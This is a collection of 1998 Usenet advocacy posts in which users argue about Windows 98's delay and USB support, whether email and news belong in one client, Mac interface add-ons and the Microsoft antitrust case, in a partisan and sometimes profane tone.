>"John Saunders" <jws@jws.ultranet.com> writes
>> If I can't go to the store and buy it, then for me and for most
>> consumers, it doesn't exist. I would be able to buy Windows 98.
>> I've been reading that the USB hardware vendors have been waiting
>> for a Windows 98 as a platform for their hardware before making a
>> big marketing push.
>
>This is a complete red herring. Either your (new) computer has USB on
>the backplane, or it doesn't. If it does -- like my new Presario 2240,
>which arrived with OSR2 -- then the supplied operating system supports
>it. Can you imagine anything else? Why would you put a port on the back
>of a computer that was "not yet" supported by the OS?
>
>So I guess the argument for harm comes down to companies that make
>add-in USB cards for older computers. Certainly those who make USB
>*attachments* could start marketing to people like me right now. Though
>frankly I still don't understand what all the USB fuss is about anyway.
All the hype about USB is nothing but a lot of hot air that's being pumped
out by Mircosuck and it's lackies. Let me let you in on a little fact.
The USB concept is nothing new. The Atari 8-bit computers had this kind of
support built-in AGES ago, starting with the Atari 400 series.
Isn't the advance of technology grand?
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 08:49:59 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ip87n$oum$9@ns3.vrx.net>
References: <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6io37n$hdg$1@new-news.cc.brandeis.edu>
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Cc: xray@cs.brandeis.edu
In <6io37n$hdg$1@new-news.cc.brandeis.edu> Nathan G. Raymond claimed:
> Before anyone starts worrying about integrated email-newsreader, how about
> a good email program?
Good point.
> a good newsreader?
Got that on the Mac side. Although it lacks a few "big ticket" items
(offline use and multiple-servers) it's pretty much perfect. VERY fast
(faster than anything on OpenStep for some reason I can't fathom), powerful,
smart, clear and good looking. And threaded!
> Integrated software is more
> difficult to program than seperate apps, and integrated apps usually
> suffer as a result.
I disagree - the design is definitely more difficult but that's "mostly"
it. From the other standpoint Claris Works is a superb program.
> good). Mulberry could be an alternative, but its IMAP only (I have IMAP
> and POP accounts), and the interface could use some streamlining.
> <http://www.cyrusoft.com/mulberry/mulbinfo.html>
This is a BIG PROBLEM, no one offers IMAP. I have a POP account and I read
from work and at home, and I have all the POP problems.
> PowerMail does POP, SMTP, and IMAP, and its interface borrows heavily from
> Emailer (which is only POP and SMTP), and looks like it could be very
> interesting, especially since it includes Apple's V-Twin search support.
> <http://www.ctmdev.com/product_info.shtml>
Hmmm, I should take a look.
> same degree of threading as trn, all wrapped up in a great interface with
> incredible keyboard support. That would rock. And the only way I'd get
> it is if I designed it, nobody else is going to do it.
I think I could do it, I do have a day job though.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 08:45:14 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ip7uq$oum$8@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM>
<6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net>
<6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net>
<geordie-0505981708370001@130.130.117.53>
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Cc: geordie@chapman.com
In <geordie-0505981708370001@130.130.117.53> Geordie Korper claimed:
> Mail News
>
> little categorization highly categorized
> rarely threaded mostly threaded
> low volume high volume
> mostly signal mostly noise
> high priority low priority
All issues of contents within the RCF-822 message body.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 08:44:37 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ip7tl$oum$7@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
<6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net>
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Cc: phenix@interpath.com
In <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> John Moreno
claimed:
> Mail, private. News, public.
Amil lists are which? How about moderated newsgroups?
> This produces different methods of handling each when they are received,
> Mails get's filtered and possibly dumped into the relevant
> folder/mailbox/whatever
At home one of the newsreaders I use does exactly this for news as well.
Maury
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Wed, 06 May 1998 09:13:12 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35506FF8.E8C2FE65@nstar.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354F5AB5.515@CONVEX.COM> <6inmqr$bqn$1@crib.bevc.blacksburg.va.us> <354F65A5.42BB@CONVEX.COM> <6inuvv$chg$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
[cut]
> > > I'm certainly not
> > > going to switch to a bundle solution just for the sake of having a
> > > bundle solution.
>
> > A lot of people would disagree, with a twist: they currently believe
> > that the bundle situation is *wrong*, and they want the government (or
> > somebody) to force everyone to use separate apps.
>
> That doesn't sound like a disagreement with what I said.
Wow, that's a keeper.
MJP
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: miba@image.dk (Michael Balle)
Date: Wed, 6 May 1998 16:24:31 +0200
Message-ID: <1d8m82r.r8y65x7j6wwyN@[10.0.0.2]>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6iktl0$98e$1@crib.bevc.blacksburg.va.us> <6imkv7$nkm$1@ns3.vrx.net> <6inj0j$bit$1@crib.bevc.blacksburg.va.us> <6in9lt$3of$6@ns3.vrx.net> <6io47l$hqj$1@new-news.cc.brandeis.edu> <6ip8jm$oum$11@ns3.vrx.net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <6io47l$hqj$1@new-news.cc.brandeis.edu> Nathan G. Raymond claimed:
> > Wasn't that Apple's Powertalk? The ill-fated proprietary email that was
> > part of the OS, that came with System 7 Pro, and later was gradually
> > phased out?
>
> PowerTalk didn't fail because of it's interface, it failed because it was
> HUGE (some 2 meg RAM in the days of 4 meg computers) and SLOW. In addition
> the server side was seriously lacking, and Apple, sniffing a buck, didn't let
> other people do much other than gateways.
>
> Good idea, some good tech, horrid implementation. That can kill any
> product.
>
> > In interviews Woz likes to moan about its loss, and how he
> > hacked it to work with later OS releases.
>
> Woz? I don't think so, he was long gone by that point and had nothing to
> do with the project (as least as far as I am aware).
>
> > Finder/Browser does make sense,
>
> Not IN the finder/browser, but LIKE the finder/browser.
>
> > The new filesystem in Rhapsody has an API for adding custom file
> > attributes
>
> It does?!?!
>
> Maury
One of the features of the HFS+ file system, besides 255 unicode
filenames, is the ability to add custom file attributes. MacOS 8.1
doesn't allow you take advantage of these new features, but I expect
Rhapsody to start taking advantage of the new HFS+ features.
Michael
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 23:41:41 GMT
Organization: VHA Inc.
Message-ID: <01bd7949$65e4aa20$8383050a@bgravitt.CORP.VHA.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imk6v$td8@ds2.acs.ucalgary.ca> <pxpst2-0505981117510001@pelli.pathology.pitt.edu> <6ioon0$clv$2@ligarius.ultra.net>
John Saunders <jws@jws.ultranet.com> wrote in article
<6ioon0$clv$2@ligarius.ultra.net>...
> Peter wrote in message ...
> >In article <6imk6v$td8@ds2.acs.ucalgary.ca>, bhoang@acs3.acs.ucalgary.ca
> >(Bich Hoang) wrote:
> >
> >> : Now, MS claims it is not a monopoly, yet, delaying one of its
products
> >> : has the "potential" to hurt business for roughly 2.2 MILLION+
people?
Yeah, figure that one out.
> >>
> >> Well, It could hurt Business but not so much with homeholds.
> >> Compaq, Dell and IBM could be hurt by the delay of Windows 98.
> >> Why?
> >
> >Because these guys have decided to market vaporware on a promise that
the
> >product will be delivered. IMHO, this guys fucked themselves. As to
the
> >point of hurting business, what CRAP. The only businesses that are hurt
>
> >are the one s marketing it befroe its release.
>
> Peter, should they have waited until after the release before talking
about
> it? Before marketing it? Before spending money to develop promotions?
>
It's my opinion that MS is trying to sell Win98 as if it's a whole new
version instead of something that should be released in a service pak. I
don't think that they can justify the $100 pricetag on a polishing of
Win95! What are the benefits of 98?
USB support - a service pak should take care of this one.
Expanding choice lists when you hit your right mouse button? Thats a need
for sure.
Fat32 - yeah, it's nice but... for $100.00?
Additional animation on property screens - puleez!
IE - I thought that was free and why many dropped Navigator? Here's the
hook - open wide.
MS System Information - great! Not worth $100.00 though and still
confusing to the user.
I despise programmed obsolescence and the fact that when they raise the
bar, many of the software companies are going to follow; once again
programmed obsolescence of HW and SW.
I'll pay $100.00 but not for a spit shined Windows95. I've still got drive
letters G through Z to go. :)
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - although others may borrow.
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 14:46:00 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6ipt38$9eu$1@new-news.cc.brandeis.edu>
References: <B173DA2F-4EC79@207.217.155.139> <6imb64$bj7$1@news.digifix.com> <354F8B3B.3FDF@earthlink.net>
In article <354F8B3B.3FDF@earthlink.net> skellener@earthlink.net writes:
>Scott Anguish wrote:
>> Control Strip is a horrible little UI tack-on... as is
>> WindowShade, MenuClock, Tabbed Windows and other items that aren't
>> cohesive parts of the User Experience..
>
>I agree Scott. I have never used the control strip on my Mac. It could
>be done...better.
[snip]
I consider it essential - but that's because of third-party plug-ins. I
won't write an essay on it now, but let me summarize by saying that my
control strip reaches nearly the full width of my screen at 1024 pixels
across, with at least a dozen additional modules, most of which I consider
essential.
Out of the box, its little more than a resolution switcher, volume
changer, and audio CD controller.
It could be improved by being rolled into a modular system with a more
mutable/customizable UI, like a dock. Not difficult. There should be the
option now to have floating palettes hide off screen and slide out when
needed, since the processor and graphic horsepower are sufficient for it.
--
Nathan Raymond
http://www.everythingmac.com
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 23:45:29 GMT
Organization: Cygnus Solutions
Message-ID: <6iqsmp$h86$1@cronkite.cygnus.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
<6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net>
<6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net>
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Cc: phenix@interpath.com
In <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net> John Moreno
wrote:
> As I said the real difference is recipients - with news upwords of half
> a billion people have the opportunity to read what you say, and that
> will probably continue going up. With mail it's a very limited set of
> people (usually limited to just one in fact).
>
I would like to emphasize this last point.
With a mail message to a list, you know for a fact that there is a finite set
of people who will recieve the initial message. It is not necessarily
deterministicly finite (ie. addresses can themselves be lists or aliases for
multiple users)... but as long as none of the recipients is a news gateway,
you know that the number of recipients is a specific finite set.
You have no such knowlege at all about news. News can be read by any person
at any point in time (assuming ubiquitous access to Usenet, and infinite
lifetime of posts).
This difference makes for very different conceptual types of conversation.
Mail is to a closed discussion, and news is a soap box to anyone who wants to
listen (or speak). Further, while messages of either type can come from
anyone, you generally expect to recieve mail from people you know (one of the
annoying aspects of spam, esp newer spam techniques), and you can have no
such expectation of Usenet news in general. Moderated lists/groups and
private groups modify this somewhat, but the statement is still generally
true.
(btw: I don't think public mailing lists are at all a blurring of the two..
public mailing lists are a relic from before the wide spread disemination of
News and the Internet -- in the old days you could quite possibly have access
to email lists on the net and not to IP traffic.. even today, sometimes the
trade off between a public list and a newsgroup is whether you have the
authority to create your own newsgroup on the servers you have access to
(alt. groups are still not ubiquitous)... public mailing lists are for:
people who want a public forum but can't do it on a news server, or poeple
who don't want every clueless twit from Usenet to post the latest "I've got
WAREZ D00D!" message to your technical discussion (thus they want the slight
bit more control a mailing list has, and the lower profile (you must go look
for the mailing list, instead of just asking your news browser to show you
every newsgroup)) .. the two media are capable of doing some of the tasks of
the other, but that doesn't mean they are even close to optimal, or even
appropriate, for doing so)
The fact that the conversation modes is different says that it is likely and
appropriate to form different storage hierarchies (both for the transmission
medium and the end user storage medium). The fact that file and message
formats may be the same or similar is only relevent that that small piece of
the code that deals with file storage and message parsing. The fact that
they are very different communication mediums means that I want very
different user interfaces for each.
I want my mail reader to have an interface that is appropriate and efficient
for what ammounts to one of two cases:
1) a single sender speaking directly to a single recipient
2) a sender from one of several finite sets speaking to a finite set of
recipients (where each set I may _or_may_not_ have the ability to easily
identify solely from the message headers).
I want my news reader to have an interface that is appropriate and efficient
for:
1) any random number of senders speaking to any random number of reciepients
where I can easily catagorize each message based on a specific header (the
newsgroup header).
I can't think of a reasonable way to appropriately mesh the two modes of
communication in one interface. The only attempts I have seen try it failed
miserably.
Modeling news as an extension of Mail doesn't work because I process mail
conceptually in a different way.. every mail message I recieve gets sorted
into folders and I merely read it.. but the message stays there for all of
eternity (until backed up, in which case I still have it but it's archived)
-- and it is stored privately. I do _NOT_ want news handled this way for me.
Sure, the server can store it indenfinitely, but unless I explicitly save a
news message, I definitely never want to see it again.
Similarly, I do not want my mail viewed as a sub-set of News. For one, any
such conceptual mapping would view my "mail" as an incredibly chaotic
discussion group of changing and unrelated messages.
Once you start saying "Well, have switches for how to process mail and news",
you are recognizing that they are in fact different mediums not just by the
nature of the pipe they arrive from. They are in fact different types of
message forums, not just different forums, and therefore different
environments. If they are different evironments, why does it make sense to
use the same interface for navigating and participating in them?
So, you have different code for recieving the message (one for mail pipes,
one for nntp or cnews type pipes), different code for processing them (either
by nature of one common block of code that has switches for message type, or
two distinct blocks of code -- but either way processing of mail messages is
distinct from processing of news messages) , different code for the
interfaces... and the same code for how the file is stored on a disk. Where
again was the justification for a single client for both, instead of a shared
library or framework for two seperate but similar applications?
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 11:09:39 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ipuoa$606$4@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <354FFAFE.6D97E316@delphi.com>
Jeremy Crabtree wrote in message <354FFAFE.6D97E316@delphi.com>...
>John Saunders wrote:
>>
>> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
>> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
>> >John Saunders <jws@jws.ultranet.com> wrote:
>> >
>> >->Would the vendors of USB peripherals be hurt if there is no mainstream
>> >->operating system that supports USB?
>> >
>> >Umm, Windows95 supports USB (as does Linux...)
>> >
>>
>> I don't think so... Please provide confirmation of this. USB is being
talked
>> up as new in Windows 98. Maybe you mean that OSR2 supports USB?
>
>Exactly, Win95 supports USB. (though, the importance of USB seems to be
>negligable as of late)
>
Jeremy,
If I can't go to the store and buy it, then for me and for most consumers,
it doesn't exist. I would be able to buy Windows 98. I've been reading that
the USB hardware vendors have been waiting for a Windows 98 as a platform
for their hardware before making a big marketing push.
>>
>> >->Would companies which have been testing their products against Windows
98
>> be
>> >->concerned if Windows 98 didn't ship?
>> >
>> >Not really, since Windows95 and Windows98 are almost exactly the same...
>>
>> Yes, really. They've been spending QA time testing something which isn't
>> going to ship. That's a waste. It won't leave them pleased.
>
>Nobody said it won't ever ship, its just going to be delayed, so that
>money wasn't necessarily wasted. (they are still at fault if they wasted
>so much time and money on a vapourware product as to suffer significant
>loss)
I'm curious. Do you define "beta" as "vaporware"? These companies have been
working with betas and release candidates for some time. That's fairly solid
vapor.
>>
>> >->Would consumers who want to upgrade their existing systems by adding
>> large
>> >->hard disks be impacted by the lack of FAT32 support in Win95-retail?
>> >
>> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
>>
>> Kindly distinguish Win95 OSR2 from the retail release. My laptop supports
>> FAT32 (with no convert utility), but my old Gateway 486 does not. If I
want
>> FAT32 on my Gateway system (and if I'm not a thief), then I need Windows
98.
>
>OSR2 *IS* Win95, its just a newer version, don't try to play "lawyer
>ball" here, either argue the real issue or don't argue at all, but
>nit-picking minor details doesn't accomplish anything.
>
Again, this is not a minor detail. You can't go buy OSR2, so it doesn't
matter to a consumer looking for an upgrade product. It's the same as though
it didn't exist.
[snip]
>> An old principal of free speech applies here as well.
>>
>> Freedom of speech is intended to protect those we most hate. In the
process,
>> it protects the rest of us.
>>
>> If we allow the states to arbitrarily harrass any company they want to,
then
>> pretty soon they'll be harrassing you.
>
>Well you see, there is a flaw in your logic, they aren't "arbitrarily
>harassing" Microsoft, MS has given them due cause to investigate, and
>so, they are.
Sorry, Jeremy, I wish it was that simple. First, it's not the investigation
that's the problem. The problem is stopping the shipment of Windows 98.
Second, and I apparently need to reiterate this, the states are ganging up
on a company for the purpose of extorting money from them. This is new. I do
not know of another case before the tobacco settlement. Maybe there have
been some and I just didn't notice. But in the tobacco case, we had the
State Attourneys General using extortion tactics: "If you will pay us, we
won't keep you in court for the next ten years". I know they've done this
before as individual states, but I think this ganging up is new.
Hey, I wonder if Microsoft could use the RICO laws against the States? :-)
Thanks,
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 10:48:10 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ipuo7$606$1@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu>
Robert Cassidy wrote in message ...
>In article <6inoup$ejt$1@gte2.gte.net>, roger@. (Roger ) wrote:
>
>>Once again, I am forced to ask for substantiation for your claim of
>>"dozens of instances" where Microsoft broke US law. It should be easy
>>for you to post 6 verifiable instances where it has been documented
>>that MS engaged in criminal behaviour, or retract the claim.
>
>Are you interested in what really happened or what MS was found guilty of?
>The difference is as subtle as realizing that in terms of documentation,
>OJ Simpson never killed Nicole and Ron Goldman.
>
>Given that, MS admitted no wrongdoing to the half dozen or more
>allegations that led up to the consent decree, yet they agreed to the
>consent decree. So MS *did* do those things, but not officially. Let's not
>confuse facts and history here...
>
Robert,
Companies will often agree to consent decrees and out-of-court settlements,
not because they're guilty, but because it's cheaper. Lawyers are expensive,
time spent in court is expensive, and so is the uncertainty in your partners
due to not knowing the outcome of a trial. A trial, and the attendant cost
and uncertainty can stretch on for months. But a settlement represents the
period at the end of the sentence, even when the sentence itself is an
unpleasant one.
Accepting a settlement or consent decree, or for that matter, pleading
guilty to a lesser charge, are not admissions of guilt. It doesn't mean
they're "unofficially guilty".
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 10:59:07 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ipuo9$606$3@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net>
Joe Ragosta wrote in message ...
>In article <6iomt3$bac$2@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>> So when it comes to a situation where someone claims they've looked at
all
>> the potential problems, but they're still going to do so and such a thing
>> for "my own good", I'm more than just skeptical. I react like someone who
>> knows they're being lied to. Which is often the case.
>
>But I don't see anyone claiming to do this for your own good. The claim is
>that they're enforcing the laws. The consequences are not their concern.
>Nor should they be.
>
Joe,
In my state (Massachusetts), the Attourney General is elected. He doesn't
get re-elected by proudly stating his record of enforcing obscure anti-trust
laws no one has ever heard of ("what's a trust?"). He will be re-elected by
standing up and stating that he has stood up for our rights as consumers to
a free choice. In other words, "for our own good".
>In our system, the lawmakers write the laws. THEY are responsible for
>writing good laws.
And what happens when the laws are bad ones? Or have unpleasant
side-effects? Nothing, usually. We don't elect people to fix unpleasant
side-effects, so the rarely get fixed.
>
>The executive branch is supposed to _enforce_ the laws without worrying
>about whether they're good laws or not. In fact, the Executive branch is
>specifically NOT supposed to selectively enforce the laws. It should be
>even handed regardless of how big or wealthy the defendant is.
I don't know of any recent cases of selective enforcement due to the
popularity of the defendent. My concern is selective enforcement due to the
increased chance of reelection and due to the amount of money that can be
extorted from the defendant.
>It's not a perfect system, but it has worked for a long, long time.
>
Joe, my concern is that this business of the states ganging up to extort
money is new. It has not been tested for long. We have no reason to believe
it will work.
John Saunders
jws@jws.ultranet.com
From: Matthias Bethke <Matthias.Bethke@stud.uni-erlangen.de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Wed, 06 May 1998 17:14:32 +0200
Organization: Regionales Rechenzentrum Erlangen, Germany
Message-ID: <35507E57.7F0D@stud.uni-erlangen.de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <354F400E.90F@stud.uni-erlangen.de> <3550A611.2949@zvw._REMOVE_THIS_de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Rolf Magnus wrote:
> > So what? If you want games, stability is not an issue and Winblows 95 is
> > pretty good at loading games :)
>
> So you think Microsoft makes win95 only for games? And also in a
Maybe...well, no. Actually they made it to replace their deceased donkey
that shat gold.
> strategy
> game where I played for 3 hours on one single level, it is a little bit
> annoying if the blue screen says : now go and try again...
Hm...yep, got a point there. But I suppose the games-related code is
very similar in NT so you wouldn't gain much there, would you? As game
APIs allow more or less direct acess ("DirectX") to the hardware, even
NoThanks can be crashed by games. Even rock-solid Linux systems can be
made very very brittle by running a single not-so-perfect SVGAlib
(Linux' game coders' API) program.
> > Sure. Gamers always need the fastest hardware on the market anyway so
> > you should be able to get the bucks for an "upgrade" from sowhere.
>
> Now what does this have to do with the latest release of the OS? Why
> should it only be possible to play new games on the newest one?
I can understand M$ doesn't want to take the effort of implementing the
latest Direct* on an obsolete OS version - it simply doesn't pay. It's
the game coders' decision to only support the latest version...
> > For gaming, buy a Playstation. It's cheap and pirate games are as easily
> > available as on the GC (or did you have any other motivation to go GC
> > for gaming?). For work, buy a computer.
>
> And for both?
A PSX *and* a computer :-)
> > What the hell do you care about stability? You don't need to multitask
> > Quake and Incoming, do you?
>
> Now you say above:
> For gaming, buy a Playstation. [ ... ]
> For work, buy a computer.
>
> So is Quake and Incoming work?
Er, work what? Work on the PSX? Incoming no, Quake yes. AFAIK (I don't
have one myself).
ttyl!
Matthias
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 10:50:37 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ipuo8$606$2@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net>
Chris Johnson wrote in message ...
>In article <6iomt2$bac$1@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>> I don't mean to imply that companies are going to fold over this. I said
>> "hurt", not "killed".
>
> Companies _are_ going to fold over this. The thing is, companies were
>going to fold anyway- nowhere in the industry is particularly safe, not
>even seemingly in-demand sectors like RAM and disk. Certainly no software
>developers are safe. Worse (for the economy), MS isn't safe either. They
>are looking at the appalling situation of 'what if they gave a release and
>nobody came'. Their whole business model is in bad trouble because they
>can't keep growing at the phenomenal rate they used to- there's no more
>desktops to conquer and not enough people to sell to, period. The industry
>_will_ hurt, whether the DoJ acts or not.
> When the reality of this hits, the economy _will_ stagger. It's due for
>one, and the techs will lead the fall. Hard to say how vicious it's going
>to be, particularly since it is being telegraphed by MS itself at this
>point, which could ease it somewhat.
> The message?
> "We'll trigger economic disaster, see that it is a real problem, and
>then blame it all on the DoJ! Sure, this tactic will do heavy damage to
>the U.S. economy and possibly the world's economy- but if we can trigger
>this NOW and make it look like it's the DoJ's fault for restricting us,
>maybe they will give us our monopoly back!"
Chris,
You just lost me here. In what way is Microsoft causing the economic
problem? I'm sure they'd prefer not to be sued.
John Saunders
jws@jws.ultranet.com
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 15:24:00 +0000
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6l104g.lfb.jedi@dementia.mishnet>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imk6v$td8@ds2.acs.ucalgary.ca> <pxpst2-0505981117510001@pelli.pathology.pitt.edu> <6ioon0$clv$2@ligarius.ultra.net>
On Wed, 6 May 1998 00:01:29 -0400, John Saunders <jws@jws.ultranet.com> wrote:
>Peter wrote in message ...
